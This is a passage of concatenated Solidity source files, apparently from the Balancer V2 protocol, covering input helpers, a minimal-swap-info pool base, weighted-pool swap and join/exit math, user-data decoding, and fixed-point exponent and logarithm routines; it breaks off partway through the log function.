// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "./BalancerErrors.sol";
library InputHelpers {
function ensureInputLengthMatch(uint256 a, uint256 b) internal pure {
_require(a == b, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureInputLengthMatch(
uint256 a,
uint256 b,
uint256 c
) internal pure {
_require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH);
}
function ensureArrayIsSorted(IERC20[] memory array) internal pure {
address[] memory addressArray;
// solhint-disable-next-line no-inline-assembly
assembly {
addressArray := array
}
ensureArrayIsSorted(addressArray);
}
function ensureArrayIsSorted(address[] memory array) internal pure {
if (array.length < 2) {
return;
}
address previous = array[0];
for (uint256 i = 1; i < array.length; ++i) {
address current = array[i];
_require(previous < current, Errors.UNSORTED_ARRAY);
previous = current;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./BasePool.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IMinimalSwapInfoPool.sol";
/**
* @dev Extension of `BasePool`, adding a handler for `IMinimalSwapInfoPool.onSwap`.
*
* Derived contracts must call `BasePool`'s constructor, and implement `_onSwapGivenIn` and `_onSwapGivenOut` along with
* `BasePool`'s virtual functions. Inheriting from this contract lets derived contracts choose the Two Token or Minimal
* Swap Info specialization settings.
*/
abstract contract BaseMinimalSwapInfoPool is IMinimalSwapInfoPool, BasePool {
// Swap Hooks
function onSwap(
SwapRequest memory request,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) public virtual override returns (uint256) {
uint256 scalingFactorTokenIn = _scalingFactor(request.tokenIn);
uint256 scalingFactorTokenOut = _scalingFactor(request.tokenOut);
if (request.kind == IVault.SwapKind.GIVEN_IN) {
// Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis.
request.amount = _subtractSwapFeeAmount(request.amount);
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenIn);
uint256 amountOut = _onSwapGivenIn(request, balanceTokenIn, balanceTokenOut);
// amountOut tokens are exiting the Pool, so we round down.
return _downscaleDown(amountOut, scalingFactorTokenOut);
} else {
// All token amounts are upscaled.
balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn);
balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut);
request.amount = _upscale(request.amount, scalingFactorTokenOut);
uint256 amountIn = _onSwapGivenOut(request, balanceTokenIn, balanceTokenOut);
// amountIn tokens are entering the Pool, so we round up.
amountIn = _downscaleUp(amountIn, scalingFactorTokenIn);
// Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis.
return _addSwapFeeAmount(amountIn);
}
}
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens entering the Pool is known.
*
* Returns the amount of tokens that will be taken from the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled. The swap fee has already
* been deducted from `swapRequest.amount`.
*
* The return value is also considered upscaled, and will be downscaled (rounding down) before returning it to the
* Vault.
*/
function _onSwapGivenIn(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal virtual returns (uint256);
/*
* @dev Called when a swap with the Pool occurs, where the amount of tokens exiting the Pool is known.
*
* Returns the amount of tokens that will be granted to the Pool in return.
*
* All amounts inside `swapRequest`, `balanceTokenIn` and `balanceTokenOut` are upscaled.
*
* The return value is also considered upscaled, and will be downscaled (rounding up) before applying the swap fee
* and returning it to the Vault.
*/
function _onSwapGivenOut(
SwapRequest memory swapRequest,
uint256 balanceTokenIn,
uint256 balanceTokenOut
) internal virtual returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
/* solhint-disable private-vars-leading-underscore */
contract WeightedMath {
using FixedPoint for uint256;
// A minimum normalized weight imposes a maximum weight ratio. We need this due to limitations in the
// implementation of the power function, as these ratios are often exponents.
uint256 internal constant _MIN_WEIGHT = 0.01e18;
// Having a minimum normalized weight imposes a limit on the maximum number of tokens;
// i.e., the largest possible pool is one where all tokens have exactly the minimum weight.
uint256 internal constant _MAX_WEIGHTED_TOKENS = 100;
// Pool limits that arise from limitations in the fixed point power function (and the imposed 1:100 maximum weight
// ratio).
// Swap limits: amounts swapped may not be larger than this percentage of total balance.
uint256 internal constant _MAX_IN_RATIO = 0.3e18;
uint256 internal constant _MAX_OUT_RATIO = 0.3e18;
// Invariant growth limit: non-proportional joins cannot cause the invariant to increase by more than this ratio.
uint256 internal constant _MAX_INVARIANT_RATIO = 3e18;
// Invariant shrink limit: non-proportional exits cannot cause the invariant to decrease by less than this ratio.
uint256 internal constant _MIN_INVARIANT_RATIO = 0.7e18;
// Invariant is used to collect protocol swap fees by comparing its value between two times.
// So we can round always to the same direction. It is also used to initiate the BPT amount
// and, because there is a minimum BPT, we round down the invariant.
function _calculateInvariant(uint256[] memory normalizedWeights, uint256[] memory balances)
internal
pure
returns (uint256 invariant)
{
/**********************************************************************************************
// invariant _____ //
// wi = weight index i | | wi //
// bi = balance index i | | bi ^ = i //
// i = invariant //
**********************************************************************************************/
invariant = FixedPoint.ONE;
for (uint256 i = 0; i < normalizedWeights.length; i++) {
invariant = invariant.mulDown(balances[i].powDown(normalizedWeights[i]));
}
_require(invariant > 0, Errors.ZERO_INVARIANT);
}
// Computes how many tokens can be taken out of a pool if `amountIn` are sent, given the
// current balances and weights.
function _calcOutGivenIn(
uint256 balanceIn,
uint256 weightIn,
uint256 balanceOut,
uint256 weightOut,
uint256 amountIn
) internal pure returns (uint256) {
/**********************************************************************************************
// outGivenIn //
// aO = amountOut //
// bO = balanceOut //
// bI = balanceIn / / bI \ (wI / wO) \ //
// aI = amountIn aO = bO * | 1 - | -------------------------- | ^ | //
// wI = weightIn \ \ ( bI + aI ) / / //
// wO = weightOut //
**********************************************************************************************/
// Amount out, so we round down overall.
// The multiplication rounds down, and the subtrahend (power) rounds up (so the base rounds up too).
// Because bI / (bI + aI) <= 1, the exponent rounds down.
// Cannot exceed maximum in ratio
_require(amountIn <= balanceIn.mulDown(_MAX_IN_RATIO), Errors.MAX_IN_RATIO);
uint256 denominator = balanceIn.add(amountIn);
uint256 base = balanceIn.divUp(denominator);
uint256 exponent = weightIn.divDown(weightOut);
uint256 power = base.powUp(exponent);
return balanceOut.mulDown(power.complement());
}
// Computes how many tokens must be sent to a pool in order to take `amountOut`, given the
// current balances and weights.
function _calcInGivenOut(
uint256 balanceIn,
uint256 weightIn,
uint256 balanceOut,
uint256 weightOut,
uint256 amountOut
) internal pure returns (uint256) {
/**********************************************************************************************
// inGivenOut //
// aO = amountOut //
// bO = balanceOut //
// bI = balanceIn / / bO \ (wO / wI) \ //
// aI = amountIn aI = bI * | | -------------------------- | ^ - 1 | //
// wI = weightIn \ \ ( bO - aO ) / / //
// wO = weightOut //
**********************************************************************************************/
// Amount in, so we round up overall.
// The multiplication rounds up, and the power rounds up (so the base rounds up too).
// Because b0 / (b0 - a0) >= 1, the exponent rounds up.
// Cannot exceed maximum out ratio
_require(amountOut <= balanceOut.mulDown(_MAX_OUT_RATIO), Errors.MAX_OUT_RATIO);
uint256 base = balanceOut.divUp(balanceOut.sub(amountOut));
uint256 exponent = weightOut.divUp(weightIn);
uint256 power = base.powUp(exponent);
// Because the base is larger than one (and the power rounds up), the power should always be larger than one, so
// the following subtraction should never revert.
uint256 ratio = power.sub(FixedPoint.ONE);
return balanceIn.mulUp(ratio);
}
function _calcBptOutGivenExactTokensIn(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsIn,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
// BPT out, so we round down overall.
uint256[] memory balanceRatiosWithFee = new uint256[](amountsIn.length);
uint256 invariantRatioWithFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
balanceRatiosWithFee[i] = balances[i].add(amountsIn[i]).divDown(balances[i]);
invariantRatioWithFees = invariantRatioWithFees.add(balanceRatiosWithFee[i].mulDown(normalizedWeights[i]));
}
uint256 invariantRatio = FixedPoint.ONE;
for (uint256 i = 0; i < balances.length; i++) {
uint256 amountInWithoutFee;
if (balanceRatiosWithFee[i] > invariantRatioWithFees) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithFees.sub(FixedPoint.ONE));
uint256 taxableAmount = amountsIn[i].sub(nonTaxableAmount);
amountInWithoutFee = nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFeePercentage)));
} else {
amountInWithoutFee = amountsIn[i];
}
uint256 balanceRatio = balances[i].add(amountInWithoutFee).divDown(balances[i]);
invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i]));
}
if (invariantRatio > FixedPoint.ONE) {
return bptTotalSupply.mulDown(invariantRatio.sub(FixedPoint.ONE));
} else {
return 0;
}
}
function _calcTokenInGivenExactBptOut(
uint256 balance,
uint256 normalizedWeight,
uint256 bptAmountOut,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
/******************************************************************************************
// tokenInForExactBPTOut //
// a = amountIn //
// b = balance / / totalBPT + bptOut \ (1 / w) \ //
// bptOut = bptAmountOut a = b * | | -------------------------- | ^ - 1 | //
// bpt = totalBPT \ \ totalBPT / / //
// w = weight //
******************************************************************************************/
// Token in, so we round up overall.
// Calculate the factor by which the invariant will increase after minting BPTAmountOut
uint256 invariantRatio = bptTotalSupply.add(bptAmountOut).divUp(bptTotalSupply);
_require(invariantRatio <= _MAX_INVARIANT_RATIO, Errors.MAX_OUT_BPT_FOR_TOKEN_IN);
// Calculate by how much the token balance has to increase to match the invariantRatio
uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divUp(normalizedWeight));
uint256 amountInWithoutFee = balance.mulUp(balanceRatio.sub(FixedPoint.ONE));
// We can now compute how much extra balance is being deposited and used in virtual swaps, and charge swap fees
// accordingly.
uint256 taxablePercentage = normalizedWeight.complement();
uint256 taxableAmount = amountInWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountInWithoutFee.sub(taxableAmount);
return nonTaxableAmount.add(taxableAmount.divUp(FixedPoint.ONE.sub(swapFeePercentage)));
}
function _calcBptInGivenExactTokensOut(
uint256[] memory balances,
uint256[] memory normalizedWeights,
uint256[] memory amountsOut,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
// BPT in, so we round up overall.
uint256[] memory balanceRatiosWithoutFee = new uint256[](amountsOut.length);
uint256 invariantRatioWithoutFees = 0;
for (uint256 i = 0; i < balances.length; i++) {
balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]);
invariantRatioWithoutFees = invariantRatioWithoutFees.add(
balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i])
);
}
uint256 invariantRatio = FixedPoint.ONE;
for (uint256 i = 0; i < balances.length; i++) {
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it to
// 'token out'. This results in slightly larger price impact.
uint256 amountOutWithFee;
if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement());
uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount);
amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(FixedPoint.ONE.sub(swapFeePercentage)));
} else {
amountOutWithFee = amountsOut[i];
}
uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]);
invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i]));
}
return bptTotalSupply.mulUp(invariantRatio.complement());
}
function _calcTokenOutGivenExactBptIn(
uint256 balance,
uint256 normalizedWeight,
uint256 bptAmountIn,
uint256 bptTotalSupply,
uint256 swapFeePercentage
) internal pure returns (uint256) {
/*****************************************************************************************
// exactBPTInForTokenOut //
// a = amountOut //
// b = balance / / totalBPT - bptIn \ (1 / w) \ //
// bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | //
// bpt = totalBPT \ \ totalBPT / / //
// w = weight //
*****************************************************************************************/
// Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base
// rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down.
// Calculate the factor by which the invariant will decrease after burning BPTAmountIn
uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply);
_require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT);
// Calculate by how much the token balance has to decrease to match invariantRatio
uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight));
// Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts.
uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement());
// We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result
// in swap fees.
uint256 taxablePercentage = normalizedWeight.complement();
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it
// to 'token out'. This results in slightly larger price impact. Fees are rounded up.
uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount);
return nonTaxableAmount.add(taxableAmount.mulDown(FixedPoint.ONE.sub(swapFeePercentage)));
}
function _calcTokensOutGivenExactBptIn(
uint256[] memory balances,
uint256 bptAmountIn,
uint256 totalBPT
) internal pure returns (uint256[] memory) {
/**********************************************************************************************
// exactBPTInForTokensOut //
// (per token) //
// aO = amountOut / bptIn \ //
// b = balance a0 = b * | --------------------- | //
// bptIn = bptAmountIn \ totalBPT / //
// bpt = totalBPT //
**********************************************************************************************/
// Since we're computing an amount out, we round down overall. This means rounding down on both the
// multiplication and division.
uint256 bptRatio = bptAmountIn.divDown(totalBPT);
uint256[] memory amountsOut = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
amountsOut[i] = balances[i].mulDown(bptRatio);
}
return amountsOut;
}
function _calcDueTokenProtocolSwapFeeAmount(
uint256 balance,
uint256 normalizedWeight,
uint256 previousInvariant,
uint256 currentInvariant,
uint256 protocolSwapFeePercentage
) internal pure returns (uint256) {
/*********************************************************************************
/* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken))
*********************************************************************************/
if (currentInvariant <= previousInvariant) {
// This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool
// from entering a locked state in which joins and exits revert while computing accumulated swap fees.
return 0;
}
// We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol
// fees to the Vault.
// Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the
// base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down.
uint256 base = previousInvariant.divUp(currentInvariant);
uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight);
// Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this
// value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than
// 1 / min exponent) the Pool will pay less in protocol fees than it should.
base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT);
uint256 power = base.powUp(exponent);
uint256 tokenAccruedFees = balance.mulDown(power.complement());
return tokenAccruedFees.mulDown(protocolSwapFeePercentage);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./BaseWeightedPool.sol";
library WeightedPoolUserDataHelpers {
function joinKind(bytes memory self) internal pure returns (BaseWeightedPool.JoinKind) {
return abi.decode(self, (BaseWeightedPool.JoinKind));
}
function exitKind(bytes memory self) internal pure returns (BaseWeightedPool.ExitKind) {
return abi.decode(self, (BaseWeightedPool.ExitKind));
}
// Joins
function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) {
(, amountsIn) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256[]));
}
function exactTokensInForBptOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsIn, uint256 minBPTAmountOut)
{
(, amountsIn, minBPTAmountOut) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256[], uint256));
}
function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) {
(, bptAmountOut, tokenIndex) = abi.decode(self, (BaseWeightedPool.JoinKind, uint256, uint256));
}
// Exits
function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) {
(, bptAmountIn, tokenIndex) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256, uint256));
}
function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) {
(, bptAmountIn) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256));
}
function bptInForExactTokensOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn)
{
(, amountsOut, maxBPTAmountIn) = abi.decode(self, (BaseWeightedPool.ExitKind, uint256[], uint256));
}
}
// SPDX-License-Identifier: MIT
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
// documentation files (the “Software”), to deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
// Software.
// THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = _ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = _ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = _ln_36(base);
} else {
logBase = _ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = _ln_36(arg);
} else {
logArg = _ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
